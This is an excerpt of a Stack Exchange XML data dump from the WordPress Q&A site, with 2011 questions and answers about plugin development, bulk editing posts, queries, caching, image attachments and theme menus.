  <row Id="26918" PostTypeId="2" ParentId="26916" CreationDate="2011-08-25T19:39:31.033" Score="1" ViewCount="" Body="&lt;p&gt;Do the following to the foreach loop: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;foreach($author_list as $author)&#xA;{&#xA;    // author properties:&#xA;    // in detail:&#xA;    var_dump($author);&#xA;    // OR: overview:&#xA;    print_r($author);&#xA;}&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-25T19:39:31.033" />
  <row Id="26919" PostTypeId="1" CreationDate="2011-08-25T19:45:35.607" Score="0" ViewCount="50" Body="&lt;p&gt;as the title says I'm integrating &lt;a href=&quot;http://smoothdivscroll.com&quot; rel=&quot;nofollow&quot;&gt;smoothDivScroll&lt;/a&gt; into wordpress to dynamically display attachments associated with a post using a shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I am having is with the separation of functionality into files for plugin distribution. To test it, I hardcoded this into the page view of a wordpress template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php&#xA;&#xA;        $args = array(&#xA;            'post_type' =&amp;gt; 'attachment',&#xA;            'numberposts' =&amp;gt; null,&#xA;            'post_status' =&amp;gt; null,&#xA;            'post_parent' =&amp;gt; $post_id&#xA;        );&#xA;        //$attachments = get_posts($args);&#xA;        $attachments = get_children( array('post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; 'ASC', 'orderby' =&amp;gt; 'menu_order ID') );&#xA;        if ($attachments) { ?&amp;gt;&#xA;&#xA;                &amp;lt;div id=&quot;makeMeScrollable&quot;&amp;gt; &#xA;                    &amp;lt;div class=&quot;scrollingHotSpotLeft&quot;&amp;gt;&amp;lt;/div&amp;gt; &#xA;                    &amp;lt;div class=&quot;scrollingHotSpotRight&quot;&amp;gt;&amp;lt;/div&amp;gt; &#xA;                    &amp;lt;div class=&quot;scrollWrapper&quot;&amp;gt; &#xA;                        &amp;lt;div class=&quot;scrollableArea&quot;&amp;gt; &#xA;&#xA;            &amp;lt;?php&#xA;&#xA;            foreach ($attachments as $attachment) {&#xA;                   echo wp_get_attachment_image($attachment-&amp;gt;ID, 'full');&#xA;                   //echo apply_filters('the_title', $attachment-&amp;gt;post_title);&#xA;                }&#xA;&#xA;                ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt; &#xA;                    &amp;lt;/div&amp;gt; &#xA;                &amp;lt;/div&amp;gt; &#xA;&#xA;                &amp;lt;?php&#xA;            }&#xA;&#xA;         ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method works. However when I place this code in a separate php file as its own function, calling it sometimes (but not always) causes smoothdivscroll to break. Hotspots don't respond, sometimes the hotspots move to strange places. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a web page I am using to compare. [edit: removed link since site has changed]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first (broken) set of images should be identical in behavior to the second (working, hardcoded) set. To confuse things more, my plugin version works in the post preview on the home page, but breaks when you click through to the single post - same code, different behavior on different pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I disable wordpress theme CSS, both hardcoded and the plugin version work - this is interesting since both versions are linked to the same style sheet for smoothDivScroll using wp_enqueue_style().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel that I am probably overlooking something majorly obvious. I'm relatively new to PHP / wordpress development, so don't discount any silly mistakes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you got this far, thanks for your time. When I am finished I will distribute the plugin publicly. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: To summarize the problem: The scroll hotspots are positioned using position:absolute, while their containing divs are set using position:relative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since they are absolutely positioned divs within a relatively positioned div, they should be positioned right:0 WITHIN the parent div. For some reason that is not the case - in the twentyten wordpress theme they move completely to the left and right edges of the browser window. &lt;/p&gt;&#xA;" OwnerUserId="8176" LastEditorUserId="8176" LastEditorDisplayName="" LastEditDate="2011-08-28T20:26:06.340" LastActivityDate="2011-08-28T20:26:06.340" Title="Implementing smoothDivScroll as a wordpress plugin. Works only in some cases and I'm not sure why" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" />
  <row Id="26920" PostTypeId="1" AcceptedAnswerId="26929" CreationDate="2011-08-25T19:51:54.737" Score="0" ViewCount="29" Body="&lt;p&gt;Are there any good resources for building an e-commerce storefront? I am aware of the e-commerce plugins available but I am mainly interested in learning practices and techniques for the design and development of an e-commerce site for someone who has never built one before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, nothing is stopping me from just trying, but figured I would ask if there are good resources out there to learn from.&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2011-08-25T21:58:55.140" Title="Getting started with e-commerce sites on WordPress" Tags="&lt;best-practices&gt;&lt;e-commerce&gt;" AnswerCount="1" />
  <row Id="26921" PostTypeId="1" CreationDate="2011-08-25T20:01:39.107" Score="0" ViewCount="42" Body="&lt;p&gt;I have a question regarding my site, tablified.com. I need to change a line of code on ALL of my posts. Within each post, there is a certain line of code that needs to be altered. This code is this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[a href=&quot;https://market.android.com/details?id=COM.NAMEOFAPP.EXAMPLE&gt;&amp;lt; src=&quot;http://tablified.com/wp-content/uploads/2011/07/androidicon.png&quot; alt=&quot;&quot; title=&quot;Click to Download from Android Market&quot; width=&quot;300&quot; height=&quot;48&quot; class=&quot;alignnone size-full wp-image-4507&quot; /]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is found at the bottom of every post. As you know, this simply displays a clickable picture that takes the user to another page. For all 376 posts, 95% of this code is the same. The only thing that differs between posts is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM.NAMEOFAPP.EXAMPLE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that line is specific for every app on the official Android  Market. I have found a new plugin that will allow me to display a widget at the bottom of the post with a nice picture and link to the official Android Market. To make a long story short, that entire line of code needs to be edit to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[app]COM.NAMEOFAPP.EXAMPLE[/app]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All I did was remove the first part of the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;https://market.android.com/details?id= &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace it with [app] and then replace the second half of the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;&amp;gt;&amp;lt; src=&quot;http://tablified.com/wp-content/uploads/2011/07/androidicon.png&quot; alt=&quot;&quot; title=&quot;Click to Download from Android Market&quot; width=&quot;300&quot; height=&quot;48&quot; class=&quot;alignnone size-full wp-image-4507&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;code&gt;[/app]&lt;/code&gt; so now you are left with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[app]COM.NAMEOFAPP.EXAMPLE[/app] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;of course with the proper name of that particular app in between the &lt;code&gt;[app][/app]&lt;/code&gt;. My question is, what is the quickest way to accomplish this? If I export all the posts to a XML file, I can use a text editor to make the changes. But what will happen once I import this file back into Wordpress? Will it overwrite the previous posts? Will it create new ones? What will happen to the screenshots with each of those posts? I am using a theme that doesn't actually attach the image to post, meaning if I export it, the pictures wont be there. Will they be lost? Please let me know if you can help me with this. Thank you so much for your time. I hope everything made sense. The fix seems simple, but I am not sure of the outcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ayman&lt;/p&gt;&#xA;" OwnerUserId="8177" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-25T22:00:13.687" LastActivityDate="2011-08-25T22:38:12.890" Title="Editing 375 posts simultaneously? Maybe from the database?" Tags="&lt;posts&gt;" AnswerCount="3" />
  <row Id="26922" PostTypeId="2" ParentId="26893" CreationDate="2011-08-25T20:06:50.543" Score="0" ViewCount="" Body="&lt;p&gt;Markup of that metabox is generated by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/_wp_post_thumbnail_html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;_wp_post_thumbnail_html()&lt;/code&gt;&lt;/a&gt; function, contained in &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-admin/includes/post.php#L1215&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-admin/includes/post.php&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-25T20:06:50.543" CommentCount="1" />
  <row Id="26923" PostTypeId="2" ParentId="26916" CreationDate="2011-08-25T20:12:04.220" Score="2" ViewCount="" Body="&lt;p&gt;Either an array of row objects with properties the column names of the result of the SQL query - ie. the specified fields from the wp_users table or, if fields equals 'all_with_meta', an array of WP_User objects.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fields value defaults to 'all', which will return all the columns in the &lt;a href=&quot;http://codex.wordpress.org/Database_Description#Table%3a_wp_users_2&quot; rel=&quot;nofollow&quot;&gt;wp_users table&lt;/a&gt;, but can be overridden by passing an array of specified fields - and is parsed as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;              if ( is_array( $qv['fields'] ) ) {&#xA;                        $qv['fields'] = array_unique( $qv['fields'] );&#xA;&#xA;                        $this-&amp;gt;query_fields = array();&#xA;                        foreach ( $qv['fields'] as $field )&#xA;                                $this-&amp;gt;query_fields[] = $wpdb-&amp;gt;users . '.' . esc_sql( $field );&#xA;                        $this-&amp;gt;query_fields = implode( ',', $this-&amp;gt;query_fields );&#xA;                } elseif ( 'all' == $qv['fields'] ) {&#xA;                        $this-&amp;gt;query_fields = &quot;$wpdb-&amp;gt;users.*&quot;;&#xA;                } else {&#xA;                        $this-&amp;gt;query_fields = &quot;$wpdb-&amp;gt;users.ID&quot;;&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see the query function in the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/user.php&quot; rel=&quot;nofollow&quot;&gt;WP_User_Query class definition&lt;/a&gt; - where the query results is replaced with WP_User objects if 'fields' is 'all_with_meta' &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       function query() {&#xA;                global $wpdb;&#xA;&#xA;                if ( is_array( $this-&amp;gt;query_vars['fields'] ) || 'all' == $this-&amp;gt;query_vars['fields'] ) {&#xA;                        $this-&amp;gt;results = $wpdb-&amp;gt;get_results(&quot;SELECT $this-&amp;gt;query_fields $this-&amp;gt;query_from $this-&amp;gt;query_where $this-&amp;gt;query_orderby $this-&amp;gt;query_limit&quot;);&#xA;                } else {&#xA;                        $this-&amp;gt;results = $wpdb-&amp;gt;get_col(&quot;SELECT $this-&amp;gt;query_fields $this-&amp;gt;query_from $this-&amp;gt;query_where $this-&amp;gt;query_orderby $this-&amp;gt;query_limit&quot;);&#xA;                }&#xA;&#xA;                if ( $this-&amp;gt;query_vars['count_total'] )&#xA;                        $this-&amp;gt;total_users = $wpdb-&amp;gt;get_var( apply_filters( 'found_users_query', 'SELECT FOUND_ROWS()' ) );&#xA;&#xA;                if ( !$this-&amp;gt;results )&#xA;                        return;&#xA;&#xA;                if ( 'all_with_meta' == $this-&amp;gt;query_vars['fields'] ) {&#xA;                        cache_users( $this-&amp;gt;results );&#xA;&#xA;                        $r = array();&#xA;                        foreach ( $this-&amp;gt;results as $userid )&#xA;                                $r[ $userid ] = new WP_User( $userid, '', $this-&amp;gt;query_vars['blog_id'] );&#xA;&#xA;                        $this-&amp;gt;results = $r;&#xA;                }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally, the WP_User object is documented here: &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_User&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_User&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and defined here: &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/capabilities.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/capabilities.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-25T21:02:48.570" LastActivityDate="2011-08-25T21:02:48.570" CommentCount="5" />
  <row Id="26924" PostTypeId="2" ParentId="26770" CreationDate="2011-08-25T20:48:43.320" Score="0" ViewCount="" Body="&lt;p&gt;In looking at the WP_Tax_Query class in /wp-includes/taxonomy.php, I found that there is a 'include_children' option which defaults to true. I modified my original get_posts() call with the following, and it works great:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pages = get_posts(array(&#xA;  'post_type' =&amp;gt; 'page',&#xA;  'numberposts' =&amp;gt; -1,&#xA;  'tax_query' =&amp;gt; array(&#xA;    array(&#xA;      'taxonomy' =&amp;gt; 'taxonomy-name',&#xA;      'field' =&amp;gt; 'id',&#xA;      'terms' =&amp;gt; 1, // Where term_id of Term 1 is &quot;1&quot;.&#xA;      'include_children' =&amp;gt; false&#xA;    )&#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Still looking for some complete documentation on the 'tax_query' option...)&lt;/p&gt;&#xA;" OwnerUserId="7152" LastActivityDate="2011-08-25T20:48:43.320" />
  <row Id="26925" PostTypeId="2" ParentId="26774" CreationDate="2011-08-25T20:52:36.103" Score="1" ViewCount="" Body="&lt;p&gt;thanks to chris for the idea , my problem has solved as following instruction :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- For the un styled view :&#xA;I tried use &lt;code&gt;display:none;&lt;/code&gt; but there was problems happening in showing menu (no content showing after remove it or change &quot;none&quot; to &quot;block&quot; , so I've added below style to my sidebar in sidebar.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sidebar&quot; style=&quot;position:absolute; left:-9999px; top:-9999px; &quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it will create my menu but showing in in a place that no one can see , next i've removed style in footer (when everything loaded) using jquer (right before  and after &lt;code&gt;&amp;lt;?php wp_footer(); ?&amp;gt;&lt;/code&gt;): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;jQuery(function ($) {&#xA;$(document).ready(function() { $('div#sidebar').removeAttr('style'); });&#xA;$('div#sidebar').addClass(&quot;sideshow&quot;);&#xA;&#xA;&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now there is no FOUC even in dial-up connection !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- for the menu state problem :&#xA;drop drill ipod menu using cookies to save last menu state , so i've added following code to header to delete cookies in certain pages (right after &lt;code&gt;&amp;lt;div id=header&amp;gt;&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(is_page(array(22,35,13,27,67))){ ?&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;jQuery(function ($) {&#xA;$.cookie('dd-wrapper-0','');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;?php if(is_front_page()){ ?&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;jQuery(function ($) {&#xA;$.cookie('dd-wrapper-0','');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;work like a Charm !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now menu restart to default state in homepage and selected page.&lt;/p&gt;&#xA;" OwnerUserId="7585" LastActivityDate="2011-08-25T20:52:36.103" CommentCount="1" />
  <row Id="26926" PostTypeId="1" AcceptedAnswerId="26927" CreationDate="2011-08-25T21:26:12.557" Score="4" ViewCount="59" Body="&lt;p&gt;Let's say I've already got the $post object through some earlier process of looping through an array of IDs and using get_post() on each one of them, storing the resulting object in some array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later on, I want to loop through that array and do something with each post. I already have a $my_post object, so I could &lt;code&gt;echo $my_post-&amp;gt;post_title&lt;/code&gt;, or I could get fancy and &lt;code&gt;echo apply_filters('the_title', $my_post-&amp;gt;post_title, $my_post-&amp;gt;ID)&lt;/code&gt; or I could just use the native &lt;code&gt;get_the_title($my_post-&amp;gt;ID)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's where my performance question comes in. How reliable is the native cache (I'm not talking about some crazy plugin, just the built-in &lt;code&gt;wp_cache_get($post_id, 'posts')&lt;/code&gt; etc..)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess what I'm asking is: what is the likelihood that get_the_title() will dip back into the DB and re-grab the post, as opposed to using the cache, and would I be better off from a performance perspective just using the object data that I already have? Clearly you get more sugar if you use the built-in stuff. But does it risk going back to the DB?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-08-26T15:51:58.803" Title="Will I see a performance hit if I use native API calls like get_the_title() instead of $post-&gt;post_title?" Tags="&lt;cache&gt;&lt;performance&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26927" PostTypeId="2" ParentId="26926" CreationDate="2011-08-25T21:48:02.323" Score="3" ViewCount="" Body="&lt;p&gt;Template tags rely on global &lt;code&gt;$post&lt;/code&gt; (unless you explicitly provide something else to those that support it. So either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;they get something from that variable (no reason to go for it in database)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;or they don't (then they fail because they have no clue what you want)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Under most normal circumstances there is no reason to worry about impact of template tags. That only comes into play if you start dealing with crazy amount of posts and/or apply overly complex filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update after discussion in comments&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_post()&lt;/code&gt; always tries to invoke cache before it makes database call. Cache gets purged by functions that modify posts explicitly ( see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/clean_post_cache&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;clean_post_cache()&lt;/code&gt;&lt;/a&gt; ) or expires naturally.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-26T15:51:58.803" LastActivityDate="2011-08-26T15:51:58.803" CommentCount="5" />
  <row Id="26928" PostTypeId="1" AcceptedAnswerId="26975" CreationDate="2011-08-25T21:49:44.257" Score="0" ViewCount="30" Body="&lt;p&gt;I'm trying to create a function to be placed in a template page to output the post's attached images. I would like to have the images display as the theme's specified thumbnail size and be linked to the full-size image so that I can give them a lightbox-triggering class (in this case thickbox).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently can only get an image to output using &lt;code&gt;the_attachment_link&lt;/code&gt; which links and displays the image but doesn't let me customize it like I need to in order to add the class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current code, including what works, what I think should work, and another solution I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function product_images() {&#xA;global $post;&#xA;    $attachments = get_posts( array(&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'posts_per_page' =&amp;gt; 0,&#xA;        'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;        'exclude' =&amp;gt; get_post_thumbnail_id()&#xA;    ) );&#xA;&#xA;    if ( $attachments ) {&#xA;        $content .= '&amp;lt;div class=&quot;productimgs&quot;&amp;gt;';&#xA;        foreach ( $attachments as $attachment ) {&#xA;            // What works to display image but doesn't allow customizing output&#xA;            $imgthumb = the_attachment_link($attachment-&amp;gt;ID, false);&#xA;            $content .= $imgthumb;&#xA;&#xA;            /*What I WANT to work!&#xA;            $imgthumb = wp_get_attachment_url($attachment-&amp;gt;ID);&#xA;            $content .= '&amp;lt;a class=&quot;thickbox&quot; href=&quot;'.$imgthumb.'&quot;&amp;gt;&amp;lt;img class=&quot;productimg&quot; src=&quot;'.$imgthumb.'&quot; /&amp;gt;&amp;lt;/a&amp;gt;';&#xA;            */&#xA;&#xA;            /* Also tried&#xA;            $imgthumb = wp_get_attachment_image_src( $attachment-&amp;gt;ID, 'thumbnail' );&#xA;            $imgfull = wp_get_attachment_image_src( $attachment-&amp;gt;ID, 'full' );&#xA;            $content .= '&amp;lt;a class=&quot;thickbox&quot; href=&quot;'.$imgfull[0].'&quot;&amp;gt;&amp;lt;img class=&quot;productimg&quot; src=&quot;'.$imgthumb[0].'&quot; /&amp;gt;&amp;lt;/a&amp;gt;';&#xA;            */&#xA;        }&#xA;        $content .= '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;return $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help! I've been trying to get it going for several hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at several other articles on this site but none were the same problem. I've also poured over the &lt;a href=&quot;http://digwp.com/2009/08/awesome-image-attachment-recipes-for-wordpress&quot; rel=&quot;nofollow&quot;&gt;Digging into Wordpress article&lt;/a&gt; about image tags.&lt;/p&gt;&#xA;" OwnerUserId="6161" LastActivityDate="2011-08-26T13:58:54.090" Title="Output posts attached images as thumbnails linked to full-size with lightbox class" Tags="&lt;images&gt;&lt;attachments&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="26929" PostTypeId="2" ParentId="26920" CreationDate="2011-08-25T21:58:55.140" Score="1" ViewCount="" Body="&lt;p&gt;Larry Ullman's book &lt;a href=&quot;http://www.larryullman.com/books/php-6-and-mysql-5-for-dynamic-web-sites-visual-quickpro-guide-3rd-edition/&quot; rel=&quot;nofollow&quot;&gt;PHP 6 and MySQL 5 for Dynamic Web Sites: Visual QuickPro Guide&lt;/a&gt; has an excellent chapter on building an e-Commerce website. It has nothing to do with WordPress, but I found it to be an excellent introduction to the very basic e-Commerce concepts way back when I read it. I think it would be a great place to start.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-25T21:58:55.140" CommentCount="4" />
  <row Id="26930" PostTypeId="2" ParentId="26921" CreationDate="2011-08-25T22:03:29.470" Score="1" ViewCount="" Body="&lt;p&gt;You can do this in number of ways, but easiest would be to use one of tools available. For example &lt;a href=&quot;http://interconnectit.com/124/search-and-replace-for-wordpress-databases/&quot; rel=&quot;nofollow&quot;&gt;Serialized PHP Search Replace Tool&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to create backup of your database before you start to make any changes.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-25T22:03:29.470" />
  <row Id="26931" PostTypeId="2" ParentId="26890" CreationDate="2011-08-25T22:18:52.127" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.stackexchange.com/q/14306/847&quot;&gt;sorting by taxonomies is strongly discouraged by design&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your image I think that what you want is multiple secondary loops per category is what you want, and your code does have something like that - except that you are &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts&quot;&gt;overusing &lt;code&gt;query_posts()&lt;/code&gt; in a way it should not be used&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically read up on loops a bit, you don't seem to have problem with idea/approach but rather with implementation.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-25T22:18:52.127" CommentCount="1" />
  <row Id="26932" PostTypeId="2" ParentId="26921" CreationDate="2011-08-25T22:37:07.150" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search-regex/&quot; rel=&quot;nofollow&quot;&gt;Search RegEx&lt;/a&gt; is a good plugin to be able to search and replace with Grep through all posts and pages.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-08-25T22:37:07.150" />
  <row Id="26933" PostTypeId="2" ParentId="26921" CreationDate="2011-08-25T22:38:12.890" Score="1" ViewCount="" Body="&lt;p&gt;Check out the &lt;a href=&quot;http://wordpress.org/extend/plugins/search-and-replace&quot; rel=&quot;nofollow&quot;&gt;Search and Replace Plugin&lt;/a&gt;. I think it will do what you want.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-25T22:38:12.890" />
  <row Id="26934" PostTypeId="1" AcceptedAnswerId="26979" CreationDate="2011-08-25T21:59:25.300" Score="2" ViewCount="51" Body="&lt;p&gt;I'm working on a custom theme using wp_nav_menu().  What I want to do is add a caret to menu items that have sub-menus.  For example, If my menu looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Menu Item 1&lt;/li&gt;&#xA;&lt;li&gt;Menu Item 2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Menu Item 2a&lt;/li&gt;&#xA;&lt;li&gt;Menu Item 2b&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Menu Item 3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to be able to format it like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;List item&lt;/li&gt;&#xA;&lt;li&gt;Menu Item 1&lt;/li&gt;&#xA;&lt;li&gt;Menu Item 2 &gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Menu Item 2a&lt;/li&gt;&#xA;&lt;li&gt;Menu Item 2b&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Menu Item 3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Without knowing the structure of the menu.  This seems like a pretty common formatting problem, so I was wondering if there is any built-in functionality to provide for this.  Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="8180" LastEditorUserId="8180" LastEditorDisplayName="" LastEditDate="2011-08-25T23:41:03.147" LastActivityDate="2011-08-26T14:51:09.983" Title="Add Caret to Menu Items with Sub-Menus in WordPress Theme" Tags="&lt;theme-development&gt;&lt;php&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="26935" PostTypeId="1" CreationDate="2011-08-25T23:16:41.890" Score="0" ViewCount="18" Body="&lt;p&gt;I want to know how to access the comments on the top of a style sheet with php , like the way wordpress does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we create a new theme for wordpress than we have to enter our name , blog name and some other parameter in the style sheet under comments and wordpress access those commments and show them as your theme information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does anyone have any idea how to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;" OwnerUserId="8179" LastActivityDate="2011-08-25T23:55:44.200" Title="Accessing Style Sheet Comment Like Wordpress" Tags="&lt;css&gt;" AnswerCount="2" />
  <row Id="26936" PostTypeId="1" CreationDate="2011-08-25T23:48:16.743" Score="0" ViewCount="27" Body="&lt;p&gt;I've gone into my archive.php file and made some adjustments to incorporate my custom post type. Here's the code I've added BEFORE THE LOOP.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;parse_str( $query_string, $args );&#xA;$args['post_type'] = array( 'post', 'CUSTOM-POST-TYPE' );&#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The results I'm getting are strange and I'm hoping someone can explain. If I view a day's archive it will bring back both post types if both post types are present. If there are NO regular posts then NOTHING is returned. It only works if there is also a regular post on the same day as the custom post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just in case your'e wondering the reason I'm trying to do things like this is to make the links from the calendar widget work. Any information and insight would be appreciated. If a moderator reads this could you bump it to the advanced forum possibly since I haven't had any bites here?&lt;/p&gt;&#xA;" OwnerUserId="8181" LastActivityDate="2011-08-26T07:07:49.560" Title="Integrating Custom Post Types into regular Posts archive" Tags="&lt;custom-post-types&gt;&lt;archive&gt;" AnswerCount="1" />
